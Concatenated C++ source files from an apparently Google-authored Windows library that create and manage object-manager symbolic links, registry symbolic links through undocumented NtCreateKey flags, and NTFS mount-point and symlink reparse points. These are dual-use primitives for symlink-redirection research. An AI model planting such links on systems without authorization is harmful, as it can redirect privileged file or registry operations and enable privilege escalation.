15 | #include "stdafx.h"
16 | #include "CommonUtils.h"
17 | #include "ntimports.h"
18 |
19 | HANDLE CreateSymlink(HANDLE root, LPCWSTR linkname, LPCWSTR targetname)
20 | {
21 | DEFINE_NTDLL(RtlInitUnicodeString);
22 | DEFINE_NTDLL(NtCreateSymbolicLinkObject);
23 |
24 | OBJECT_ATTRIBUTES objAttr;
25 | UNICODE_STRING name;
26 | UNICODE_STRING target;
27 |
28 | fRtlInitUnicodeString(&name, linkname);
29 | fRtlInitUnicodeString(&target, targetname);
30 |
31 | InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, root, nullptr);
32 |
33 | HANDLE hLink;
34 |
35 | NTSTATUS status = fNtCreateSymbolicLinkObject(&hLink,
36 | SYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target);
37 | if (status == 0)
38 | {
39 | //DebugPrintf("Opened Link %ls -> %ls: %p\n", linkname, targetname, hLink);
40 | return hLink;
41 | }
42 | else
43 | {
44 | SetLastError(NtStatusToDosError(status));
45 | return nullptr;
46 | }
47 | }
48 |
49 | HANDLE OpenSymlink(HANDLE root, LPCWSTR linkname)
50 | {
51 | DEFINE_NTDLL(RtlInitUnicodeString);
52 | DEFINE_NTDLL(NtOpenSymbolicLinkObject);
53 |
54 | OBJECT_ATTRIBUTES objAttr;
55 | UNICODE_STRING name;
56 |
57 | fRtlInitUnicodeString(&name, linkname);
58 |
59 | InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, root, nullptr);
60 |
61 | HANDLE hLink;
62 |
63 | NTSTATUS status = fNtOpenSymbolicLinkObject(&hLink,
64 | SYMBOLIC_LINK_ALL_ACCESS, &objAttr);
65 | if (status == 0)
66 | {
67 | return hLink;
68 | }
69 | else
70 | {
71 | SetLastError(NtStatusToDosError(status));
72 | return nullptr;
73 | }
74 | }
--------------------------------------------------------------------------------
/CommonUtils/RegistrySymlink.cpp:
--------------------------------------------------------------------------------
1 | // Copyright 2015 Google Inc. All Rights Reserved.
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http ://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | #include "stdafx.h"
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include "CommonUtils.h"
21 |
22 | #define INTERNAL_REG_OPTION_CREATE_LINK (0x00000002L)
23 | #define INTERNAL_REG_OPTION_OPEN_LINK (0x00000100L)
24 |
25 | typedef NTSTATUS(__stdcall *fNtCreateKey)(
26 | PHANDLE KeyHandle,
27 | ULONG DesiredAccess,
28 | POBJECT_ATTRIBUTES ObjectAttributes,
29 | ULONG TitleIndex,
30 | PUNICODE_STRING Class,
31 | ULONG CreateOptions,
32 | PULONG Disposition
33 | );
34 |
35 | typedef NTSTATUS (__stdcall *fNtOpenKeyEx)(
36 | PHANDLE KeyHandle,
37 | ACCESS_MASK DesiredAccess,
38 | POBJECT_ATTRIBUTES ObjectAttributes,
39 | ULONG OpenOptions
40 | );
41 |
42 |
43 | typedef NTSTATUS(__stdcall *fNtSetValueKey)(
44 | HANDLE KeyHandle,
45 | PUNICODE_STRING ValueName,
46 | ULONG TitleIndex,
47 | ULONG Type,
48 | PVOID Data,
49 | ULONG DataSize
50 | );
51 |
52 | typedef NTSTATUS(__stdcall *fNtDeleteKey)(
53 | HANDLE KeyHandle
54 | );
55 |
56 | typedef NTSTATUS(__stdcall *fNtClose)(
57 | HANDLE Handle
58 | );
59 |
60 | FARPROC GetProcAddressNT(LPCSTR lpName);
61 |
62 | typedef VOID(NTAPI *fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
63 |
64 | static bstr_t GetUserSid()
65 | {
66 | HANDLE hToken;
67 |
68 | OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
69 |
70 | DWORD dwSize;
71 |
72 | GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize);
73 |
74 | std::vector userbuffer(dwSize);
75 |
76 | GetTokenInformation(hToken, TokenUser, &userbuffer[0], dwSize, &dwSize);
77 |
78 | PTOKEN_USER user = reinterpret_cast(&userbuffer[0]);
79 |
80 | LPWSTR lpUser;
81 | bstr_t ret = L"";
82 |
83 | if (ConvertSidToStringSid(user->User.Sid, &lpUser))
84 | {
85 | ret = lpUser;
86 | LocalFree(lpUser);
87 | }
88 |
89 | return ret;
90 | }
91 |
92 | static bstr_t RegPathToNative(LPCWSTR lpPath)
93 | {
94 | bstr_t regpath = L"\\Registry\\";
95 |
96 | // Already native rooted
97 | if (lpPath[0] == '\\')
98 | {
99 | return lpPath;
100 | }
101 |
102 | if (_wcsnicmp(lpPath, L"HKLM\\", 5) == 0)
103 | {
104 | return regpath + L"Machine\\" + &lpPath[5];
105 | }
106 | else if (_wcsnicmp(lpPath, L"HKU\\", 4) == 0)
107 | {
108 | return regpath + L"User\\" + &lpPath[4];
109 | }
110 | else if (_wcsnicmp(lpPath, L"HKCU\\", 5) == 0)
111 | {
112 | return regpath + L"User\\" + GetUserSid() + L"\\" + &lpPath[5];
113 | }
114 | else
115 | {
116 | DebugPrintf("Registry path %ls must be absolute or start with HKLM, HKU or HKCU\n");
117 | return L"";
118 | }
119 | }
120 |
121 | bool CreateRegSymlink(LPCWSTR lpSymlink, LPCWSTR lpTarget, bool bVolatile)
122 | {
123 | bstr_t symlink = RegPathToNative(lpSymlink);
124 | bstr_t target = RegPathToNative(lpTarget);
125 |
126 | if (symlink.length() == 0 || target.length() == 0)
127 | {
128 | return false;
129 | }
130 |
131 | DebugPrintf("Creating registry link from %ls to %ls\n", symlink.GetBSTR(), target.GetBSTR());
132 |
133 | fNtCreateKey pfNtCreateKey = (fNtCreateKey)GetProcAddressNT("NtCreateKey");
134 | fNtSetValueKey pfNtSetValueKey = (fNtSetValueKey)GetProcAddressNT("NtSetValueKey");
135 | fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString");
136 |
137 | OBJECT_ATTRIBUTES obj_attr;
138 | UNICODE_STRING name;
139 |
140 | pfRtlInitUnicodeString(&name, symlink);
141 | InitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
142 | HANDLE hKey;
143 | ULONG disposition;
144 |
145 | NTSTATUS status = pfNtCreateKey(&hKey, KEY_ALL_ACCESS, &obj_attr, 0, nullptr,
146 | INTERNAL_REG_OPTION_CREATE_LINK | (bVolatile ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE), &disposition);
147 |
148 | if (status == 0)
149 | {
150 | UNICODE_STRING value_name;
151 |
152 | pfRtlInitUnicodeString(&value_name, L"SymbolicLinkValue");
153 |
154 | status = pfNtSetValueKey(hKey, &value_name, 0, REG_LINK, target.GetBSTR(), target.length() * sizeof(WCHAR));
155 | CloseHandle(hKey);
156 |
157 | if (status != 0)
158 | {
159 | SetLastError(NtStatusToDosError(status));
160 | return false;
161 | }
162 | }
163 | else
164 | {
165 | SetLastError(NtStatusToDosError(status));
166 | return false;
167 | }
168 |
169 | return true;
170 | }
171 |
172 | bool DeleteRegSymlink(LPCWSTR lpSymlink)
173 | {
174 | fNtOpenKeyEx pfNtOpenKeyEx = (fNtOpenKeyEx)GetProcAddressNT("NtOpenKeyEx");
175 | fNtDeleteKey pfNtDeleteKey = (fNtDeleteKey)GetProcAddressNT("NtDeleteKey");
176 | fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString");
177 |
178 | OBJECT_ATTRIBUTES obj_attr;
179 | UNICODE_STRING name;
180 |
181 | bstr_t symlink = RegPathToNative(lpSymlink);
182 |
183 | if (symlink.length() == 0)
184 | {
185 | return false;
186 | }
187 |
188 | pfRtlInitUnicodeString(&name, symlink);
189 |
190 | InitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, nullptr, nullptr);
191 |
192 | HANDLE hKey;
193 | NTSTATUS status = pfNtOpenKeyEx(&hKey, DELETE, &obj_attr, 0);
194 | if (status == 0)
195 | {
196 | status = pfNtDeleteKey(hKey);
197 | CloseHandle(hKey);
198 |
199 | if (status != 0)
200 | {
201 | SetLastError(NtStatusToDosError(status));
202 | return false;
203 | }
204 | }
205 | else
206 | {
207 | SetLastError(NtStatusToDosError(status));
208 |
209 | return false;
210 | }
211 |
212 | return true;
213 | }
--------------------------------------------------------------------------------
/CommonUtils/ReparsePoint.cpp:
--------------------------------------------------------------------------------
1 | // Copyright 2015 Google Inc. All Rights Reserved.
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http ://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | #include "stdafx.h"
16 | #include "ReparsePoint.h"
17 | #include "ScopedHandle.h"
18 | #include "typed_buffer.h"
19 | #include
20 | #include
21 |
22 | // Taken from ntifs.h
23 | #define SYMLINK_FLAG_RELATIVE 1
24 |
25 | typedef struct _REPARSE_DATA_BUFFER {
26 | ULONG ReparseTag;
27 | USHORT ReparseDataLength;
28 | USHORT Reserved;
29 | union {
30 | struct {
31 | USHORT SubstituteNameOffset;
32 | USHORT SubstituteNameLength;
33 | USHORT PrintNameOffset;
34 | USHORT PrintNameLength;
35 | ULONG Flags;
36 | WCHAR PathBuffer[1];
37 | } SymbolicLinkReparseBuffer;
38 | struct {
39 | USHORT SubstituteNameOffset;
40 | USHORT SubstituteNameLength;
41 | USHORT PrintNameOffset;
42 | USHORT PrintNameLength;
43 | WCHAR PathBuffer[1];
44 | } MountPointReparseBuffer;
45 | struct {
46 | UCHAR DataBuffer[1];
47 | } GenericReparseBuffer;
48 | } DUMMYUNIONNAME;
49 | } REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;
50 |
51 | #define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
52 |
53 | #define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L) // winnt
54 | #define IO_REPARSE_TAG_HSM (0xC0000004L) // winnt
55 | #define IO_REPARSE_TAG_DRIVE_EXTENDER (0x80000005L)
56 | #define IO_REPARSE_TAG_HSM2 (0x80000006L) // winnt
57 | #define IO_REPARSE_TAG_SIS (0x80000007L) // winnt
58 | #define IO_REPARSE_TAG_WIM (0x80000008L) // winnt
59 | #define IO_REPARSE_TAG_CSV (0x80000009L) // winnt
60 | #define IO_REPARSE_TAG_DFS (0x8000000AL) // winnt
61 | #define IO_REPARSE_TAG_FILTER_MANAGER (0x8000000BL)
62 | #define IO_REPARSE_TAG_SYMLINK (0xA000000CL) // winnt
63 | #define IO_REPARSE_TAG_IIS_CACHE (0xA0000010L)
64 | #define IO_REPARSE_TAG_DFSR (0x80000012L) // winnt
65 | #define IO_REPARSE_TAG_DEDUP (0x80000013L) // winnt
66 | #define IO_REPARSE_TAG_APPXSTRM (0xC0000014L)
67 | #define IO_REPARSE_TAG_NFS (0x80000014L) // winnt
68 | #define IO_REPARSE_TAG_FILE_PLACEHOLDER (0x80000015L) // winnt
69 | #define IO_REPARSE_TAG_DFM (0x80000016L)
70 | #define IO_REPARSE_TAG_WOF (0x80000017L) // winnt
71 |
72 | static int g_last_error = 0;
73 |
74 | int ReparsePoint::GetLastError()
75 | {
76 | return g_last_error;
77 | }
78 |
79 | ScopedHandle OpenReparsePoint(const std::wstring& path, bool writable)
80 | {
81 | HANDLE h = CreateFile(path.c_str(),
82 | GENERIC_READ | (writable ? GENERIC_WRITE : 0),
83 | 0,
84 | 0,
85 | OPEN_EXISTING,
86 | FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
87 | 0);
88 |
89 | if (h == INVALID_HANDLE_VALUE)
90 | {
91 | g_last_error = GetLastError();
92 | }
93 |
94 | return ScopedHandle(h, false);
95 | }
96 |
97 | static bool SetReparsePoint(const ScopedHandle& handle, typed_buffer_ptr& reparse_buffer)
98 | {
99 | DWORD cb;
100 | if (!handle.IsValid()) {
101 | return false;
102 | }
103 |
104 | bool ret = DeviceIoControl(handle, FSCTL_SET_REPARSE_POINT,
105 | reparse_buffer, reparse_buffer.size(), nullptr, 0, &cb, nullptr) == TRUE;
106 | if (!ret)
107 | {
108 | g_last_error = GetLastError();
109 | }
110 |
111 | return ret;
112 | }
113 |
114 | static bool DeleteReparsePoint(const ScopedHandle& handle, PREPARSE_GUID_DATA_BUFFER reparse_buffer)
115 | {
116 | DWORD cb;
117 | if (!handle.IsValid()) {
118 | return false;
119 | }
120 |
121 | bool ret = DeviceIoControl(handle,
122 | FSCTL_DELETE_REPARSE_POINT,
123 | reparse_buffer,
124 | REPARSE_GUID_DATA_BUFFER_HEADER_SIZE,
125 | nullptr,
126 | 0,
127 | &cb,
128 | 0) == TRUE;
129 |
130 | if (!ret)
131 | {
132 | g_last_error = GetLastError();
133 | }
134 |
135 | return ret;
136 | }
137 |
138 | typed_buffer_ptr BuildMountPoint(const std::wstring& target, const std::wstring& printname)
139 | {
140 | const size_t target_byte_size = target.size() * 2;
141 | const size_t printname_byte_size = printname.size() * 2;
142 | const size_t path_buffer_size = target_byte_size + printname_byte_size + 8 + 4;
143 | const size_t total_size = path_buffer_size + REPARSE_DATA_BUFFER_HEADER_LENGTH;
144 | typed_buffer_ptr buffer(total_size);
145 |
146 | buffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
147 | buffer->ReparseDataLength = static_cast(path_buffer_size);
148 | buffer->Reserved = 0;
149 |
150 | buffer->MountPointReparseBuffer.SubstituteNameOffset = 0;
151 | buffer->MountPointReparseBuffer.SubstituteNameLength = static_cast(target_byte_size);
152 | memcpy(buffer->MountPointReparseBuffer.PathBuffer, target.c_str(), target_byte_size + 2);
153 | buffer->MountPointReparseBuffer.PrintNameOffset = static_cast(target_byte_size + 2);
154 | buffer->MountPointReparseBuffer.PrintNameLength = static_cast(printname_byte_size);
155 | memcpy(buffer->MountPointReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printname_byte_size + 2);
156 |
157 | return buffer;
158 | }
159 |
160 | typed_buffer_ptr BuildSymlink(const std::wstring& target, const std::wstring& printname, bool relative)
161 | {
162 | const size_t target_byte_size = target.size() * 2;
163 | const size_t printname_byte_size = printname.size() * 2;
164 | const size_t path_buffer_size = target_byte_size + printname_byte_size + 12 + 4;
165 | const size_t total_size = path_buffer_size + REPARSE_DATA_BUFFER_HEADER_LENGTH;
166 | typed_buffer_ptr buffer(total_size);
167 |
168 | buffer->ReparseTag = IO_REPARSE_TAG_SYMLINK;
169 | buffer->ReparseDataLength = static_cast(path_buffer_size);
170 | buffer->Reserved = 0;
171 |
172 | buffer->SymbolicLinkReparseBuffer.SubstituteNameOffset = 0;
173 | buffer->SymbolicLinkReparseBuffer.SubstituteNameLength = static_cast(target_byte_size);
174 | memcpy(buffer->SymbolicLinkReparseBuffer.PathBuffer, target.c_str(), target_byte_size + 2);
175 | buffer->SymbolicLinkReparseBuffer.PrintNameOffset = static_cast(target_byte_size + 2);
176 | buffer->SymbolicLinkReparseBuffer.PrintNameLength = static_cast(printname_byte_size);
177 | memcpy(buffer->SymbolicLinkReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printname_byte_size + 2);
178 | buffer->SymbolicLinkReparseBuffer.Flags = relative ? SYMLINK_FLAG_RELATIVE : 0;
179 |
180 | return buffer;
181 | }
182 |
183 | static bool CreateMountPointInternal(const std::wstring& path, typed_buffer_ptr& buffer)
184 | {
185 | ScopedHandle handle = OpenReparsePoint(path, true);
186 |
187 | if (!handle.IsValid())
188 | {
189 | return false;
190 | }
191 |
192 | return SetReparsePoint(handle, buffer);
193 | }
194 |
195 | static bool CreateMountPointInternal(const ScopedHandle& handle, typed_buffer_ptr& buffer)
196 | {
197 | return SetReparsePoint(handle, buffer);
198 | }
199 |
200 | std::wstring FixupPath(std::wstring str)
201 | {
202 | if (str[0] != '\\')
203 | {
204 | return L"\\??\\" + str;
205 | }
206 |
207 | return str;
208 | }
209 |
210 | bool ReparsePoint::CreateMountPoint(const std::wstring& path, const std::wstring& target, const std::wstring& printname)
211 | {
212 | if (target.length() == 0)
213 | {
214 | return false;
215 | }
216 |
217 | return CreateMountPointInternal(path, BuildMountPoint(FixupPath(target), printname));
218 | }
219 |
220 | bool ReparsePoint::CreateSymlink(const std::wstring& path, const std::wstring& target, const std::wstring& printname, bool relative)
221 | {
222 | if (target.length() == 0)
223 | {
224 | return false;
225 | }
226 |
227 | return CreateMountPointInternal(path, BuildSymlink(!relative ? FixupPath(target) : target, printname, relative));
228 | }
229 |
230 | bool ReparsePoint::CreateSymlink(HANDLE h, const std::wstring& target, const std::wstring& printname, bool relative)
231 | {
232 | ScopedHandle handle(h, true);
233 |
234 | if (!handle.IsValid())
235 | {
236 | return false;
237 | }
238 |
239 | return CreateMountPointInternal(handle, BuildSymlink(!relative ? FixupPath(target) : target, printname, relative));
240 | }
241 |
242 | bool ReparsePoint::DeleteMountPoint(const std::wstring& path)
243 | {
244 | REPARSE_GUID_DATA_BUFFER reparse_buffer = { 0 };
245 | reparse_buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
246 |
247 | ScopedHandle handle = OpenReparsePoint(path, true);
248 |
249 | return DeleteReparsePoint(handle, &reparse_buffer);
250 | }
251 |
252 | bool ReparsePoint::CreateRawMountPoint(const std::wstring& path, DWORD reparse_tag, const std::vector& buffer)
253 | {
254 | typed_buffer_ptr reparse_buffer(8 + buffer.size());
255 |
256 | reparse_buffer->ReparseTag = reparse_tag;
257 | reparse_buffer->ReparseDataLength = static_cast(buffer.size());
258 | reparse_buffer->Reserved = 0;
259 | memcpy(reparse_buffer->GenericReparseBuffer.DataBuffer, &buffer[0], buffer.size());
260 |
261 | return CreateMountPointInternal(path, reparse_buffer);
262 | }
263 |
264 | static typed_buffer_ptr GetReparsePointData(ScopedHandle handle)
265 | {
266 | typed_buffer_ptr buf(MAXIMUM_REPARSE_DATA_BUFFER_SIZE);
267 |
268 | DWORD dwBytesReturned;
269 | if (!DeviceIoControl(handle,
270 | FSCTL_GET_REPARSE_POINT,
271 | NULL,
272 | 0,
273 | (LPVOID)buf,
274 | buf.size(),
275 | &dwBytesReturned,
276 | 0)
277 | )
278 | {
279 | g_last_error = GetLastError();
280 | buf.reset(0);
281 | }
282 |
283 | return buf;
284 | }
285 |
286 | std::wstring ReparsePoint::GetMountPointTarget(const std::wstring& path)
287 | {
288 | ScopedHandle handle = OpenReparsePoint(path, false);
289 | if (!handle.IsValid())
290 | {
291 | return L"";
292 | }
293 |
294 | typed_buffer_ptr buf = GetReparsePointData(handle);
295 |
296 | if (buf.size() == 0)
297 | {
298 | return L"";
299 | }
300 |
301 | if (buf->ReparseTag != IO_REPARSE_TAG_MOUNT_POINT)
302 | {
303 | g_last_error = ERROR_REPARSE_TAG_MISMATCH;
304 | return L"";
305 | }
306 |
307 | WCHAR* base = &buf->MountPointReparseBuffer.PathBuffer[buf->MountPointReparseBuffer.SubstituteNameOffset / 2];
308 |
309 | return std::wstring(base, base + (buf->MountPointReparseBuffer.SubstituteNameLength / 2));
310 | }
311 |
312 | bool ReparsePoint::IsReparsePoint(const std::wstring& path)
313 | {
314 | ScopedHandle handle = OpenReparsePoint(path, false);
315 | BY_HANDLE_FILE_INFORMATION file_info = { 0 };
316 |
317 | return handle.IsValid() && GetFileInformationByHandle(handle, &file_info) && file_info.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT;
318 | }
319 |
320 | static bool ReadReparsePoint(const std::wstring& path, typed_buffer_ptr& reparse_buffer)
321 | {
322 | ScopedHandle handle = OpenReparsePoint(path, false);
323 | reparse_buffer.reset(4096);
324 | DWORD dwSize;
325 |
326 | bool ret = DeviceIoControl(handle, FSCTL_GET_REPARSE_POINT, nullptr, 0, reparse_buffer, reparse_buffer.size(), &dwSize, nullptr) == TRUE;
327 | if (!ret)
328 | {
329 | g_last_error = GetLastError();
330 | return false;
331 | }
332 | else
333 | {
334 | reparse_buffer.resize(dwSize);
335 | return true;
336 | }
337 | }
338 |
339 | static bool IsReparseTag(const std::wstring& path, DWORD reparse_tag)
340 | {
341 | typed_buffer_ptr buffer;
342 |
343 | if (ReadReparsePoint(path, buffer))
344 | {
345 | return buffer->ReparseTag == reparse_tag;
346 | }
347 | else
348 | {
349 | return false;
350 | }
351 | }
352 |
353 | bool ReparsePoint::IsMountPoint(const std::wstring& path)
354 | {
355 | return IsReparseTag(path, IO_REPARSE_TAG_MOUNT_POINT);
356 | }
357 |
358 | bool ReparsePoint::IsSymlink(const std::wstring& path)
359 | {
360 | return IsReparseTag(path, IO_REPARSE_TAG_SYMLINK);
361 | }
362 |
363 | bool ReparsePoint::ReadMountPoint(const std::wstring& path, std::wstring& target, std::wstring& printname)
364 | {
365 | typed_buffer_ptr buffer;
366 |
367 | if (ReadReparsePoint(path, buffer) && buffer->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)
368 | {
369 | WCHAR* target_name = &buffer->MountPointReparseBuffer.PathBuffer[buffer->MountPointReparseBuffer.SubstituteNameOffset / 2];
370 | WCHAR* display_name = &buffer->MountPointReparseBuffer.PathBuffer[buffer->MountPointReparseBuffer.PrintNameOffset / 2];
371 | target.assign(target_name, target_name + buffer->MountPointReparseBuffer.SubstituteNameLength / 2);
372 | printname.assign(display_name, display_name + buffer->MountPointReparseBuffer.PrintNameLength / 2);
373 | return true;
374 | }
375 | else
376 | {
377 | return false;
378 | }
379 | }
380 |
381 | bool ReparsePoint::ReadSymlink(const std::wstring& path, std::wstring& target, std::wstring& printname, unsigned int* flags)
382 | {
383 | typed_buffer_ptr buffer;
384 |
385 | if (ReadReparsePoint(path, buffer) && buffer->ReparseTag == IO_REPARSE_TAG_SYMLINK)
386 | {
387 | WCHAR* target_name = &buffer->SymbolicLinkReparseBuffer.PathBuffer[buffer->SymbolicLinkReparseBuffer.SubstituteNameOffset / 2];
388 | WCHAR* display_name = &buffer->SymbolicLinkReparseBuffer.PathBuffer[buffer->SymbolicLinkReparseBuffer.PrintNameOffset / 2];
389 | target.assign(target_name, target_name + buffer->SymbolicLinkReparseBuffer.SubstituteNameLength / 2);
390 | printname.assign(display_name, display_name + buffer->SymbolicLinkReparseBuffer.PrintNameLength / 2);
391 | *flags = buffer->SymbolicLinkReparseBuffer.Flags;
392 | return true;
393 | }
394 | else
395 | {
396 | return false;
397 | }
398 | }
399 |
400 | bool ReparsePoint::ReadRaw(const std::wstring& path, unsigned int* reparse_tag, std::vector& raw_data)
401 | {
402 | typed_buffer_ptr buffer;
403 |
404 | if (ReadReparsePoint(path, buffer))
405 | {
406 | *reparse_tag = buffer->ReparseTag;
407 | raw_data.resize(buffer->ReparseDataLength);
408 | memcpy(&raw_data[0], buffer->GenericReparseBuffer.DataBuffer, buffer->ReparseDataLength);
409 | return true;
410 | }
411 | else
412 | {
413 | return false;
414 | }
415 |
416 | return false;
417 | }
418 |
--------------------------------------------------------------------------------
/CommonUtils/ReparsePoint.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | class ReparsePoint
7 | {
8 | public:
9 |
10 | static bool CreateMountPoint(const std::wstring& path, const std::wstring& target, const std::wstring& printname);
11 | static bool DeleteMountPoint(const std::wstring& path);
12 | static std::wstring GetMountPointTarget(const std::wstring& path);
13 | static bool CreateRawMountPoint(const std::wstring& path, DWORD reparse_tag, const std::vector& buffer);
14 | static bool IsMountPoint(const std::wstring& path);
15 | static bool IsSymlink(const std::wstring& path);
16 | static bool ReadMountPoint(const std::wstring& path, std::wstring& target, std::wstring& printname);
17 | static bool ReadSymlink(const std::wstring& path, std::wstring& target, std::wstring& printname, unsigned int* flags);
18 | static bool ReadRaw(const std::wstring& path, unsigned int* reparse_tag, std::vector& raw_data);
19 | static bool IsReparsePoint(const std::wstring& path);
20 | static bool CreateSymlink(const std::wstring& path, const std::wstring& target, const std::wstring& printname, bool relative);
21 | static bool CreateSymlink(HANDLE h, const std::wstring& target, const std::wstring& printname, bool relative);
22 |
23 | static int GetLastError();
24 | };
25 |
26 |
--------------------------------------------------------------------------------
/CommonUtils/ScopedHandle.cpp:
--------------------------------------------------------------------------------
1 | // Copyright 2015 Google Inc. All Rights Reserved.
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http ://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | #include "stdafx.h"
16 | #include "ScopedHandle.h"
17 |
18 | static HANDLE Duplicate(HANDLE h)
19 | {
20 | HANDLE dup;
21 |
22 | if ((h == INVALID_HANDLE_VALUE) || !DuplicateHandle(GetCurrentProcess(), h, GetCurrentProcess(), &dup, 0, FALSE, DUPLICATE_SAME_ACCESS))
23 | {
24 | return nullptr;
25 | }
26 | else
27 | {
28 | return dup;
29 | }
30 | }
31 |
32 | ScopedHandle::ScopedHandle(HANDLE h, bool duplicate)
33 | {
34 | if (duplicate)
35 | {
36 | g_h = Duplicate(h);
37 | }
38 | else
39 | {
40 | g_h = h;
41 | }
42 | }
43 |
44 | ScopedHandle::ScopedHandle(const ScopedHandle& other)
45 | {
46 | g_h = Duplicate(other.g_h);
47 | }
48 |
49 | ScopedHandle& ScopedHandle::operator=(const ScopedHandle& other)
50 | {
51 | if (this != &other)
52 | {
53 | g_h = Duplicate(other.g_h);
54 | }
55 |
56 | return *this;
57 | }
58 |
59 | ScopedHandle::ScopedHandle(ScopedHandle&& other)
60 | {
61 | g_h = other.g_h;
62 | other.g_h = nullptr;
63 | }
64 |
65 | ScopedHandle& ScopedHandle::operator=(ScopedHandle&& other)
66 | {
67 | if (this != &other)
68 | {
69 | g_h = other.g_h;
70 | other.g_h = nullptr;
71 | }
72 |
73 | return *this;
74 | }
75 |
76 | void ScopedHandle::Close()
77 | {
78 | if (IsValid())
79 | {
80 | CloseHandle(g_h);
81 | g_h = nullptr;
82 | }
83 | }
84 |
85 | void ScopedHandle::Reset(HANDLE h)
86 | {
87 | Close();
88 | g_h = h;
89 | }
90 |
91 | ScopedHandle::~ScopedHandle()
92 | {
93 | Close();
94 | }
95 |
--------------------------------------------------------------------------------
/CommonUtils/ScopedHandle.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | class ScopedHandle
3 | {
4 | HANDLE g_h;
5 |
6 | public:
7 | ScopedHandle(HANDLE h, bool duplicate);
8 | void Close();
9 | void Reset(HANDLE h);
10 | bool IsValid() const {
11 | return (g_h != nullptr) && (g_h != INVALID_HANDLE_VALUE);
12 | }
13 | ScopedHandle(const ScopedHandle& other);
14 | ScopedHandle& operator=(const ScopedHandle& other);
15 |
16 | ScopedHandle(ScopedHandle&& other);
17 | ScopedHandle& operator=(ScopedHandle&& other);
18 |
19 | operator HANDLE() const {
20 | return g_h;
21 | }
22 |
23 | ~ScopedHandle();
24 | };
25 |
26 |
--------------------------------------------------------------------------------
/CommonUtils/ntimports.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | #define DIRECTORY_QUERY 0x0001
7 | #define DIRECTORY_TRAVERSE 0x0002
8 | #define DIRECTORY_CREATE_OBJECT 0x0004
9 | #define DIRECTORY_CREATE_SUBDIRECTORY 0x0008
10 | #define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF)
11 |
12 | typedef NTSTATUS(NTAPI *_NtCreateDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
13 | typedef NTSTATUS(NTAPI *_NtCreateDirectoryObjectEx)(PHANDLE Handle, ACCESS_MASK DesiredAccess,
14 | POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ShadowDir, BOOLEAN Something);
15 | typedef NTSTATUS(NTAPI *_NtOpenDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
16 | typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
17 |
18 | #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
19 |
20 | typedef NTSTATUS(NTAPI* _NtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName);
21 | typedef NTSTATUS(NTAPI* _NtOpenSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
22 | typedef NTSTATUS(NTAPI* _NtQuerySymbolicLinkObject)(HANDLE LinkHandle, PUNICODE_STRING LinkTarget, PULONG ReturnedLength);
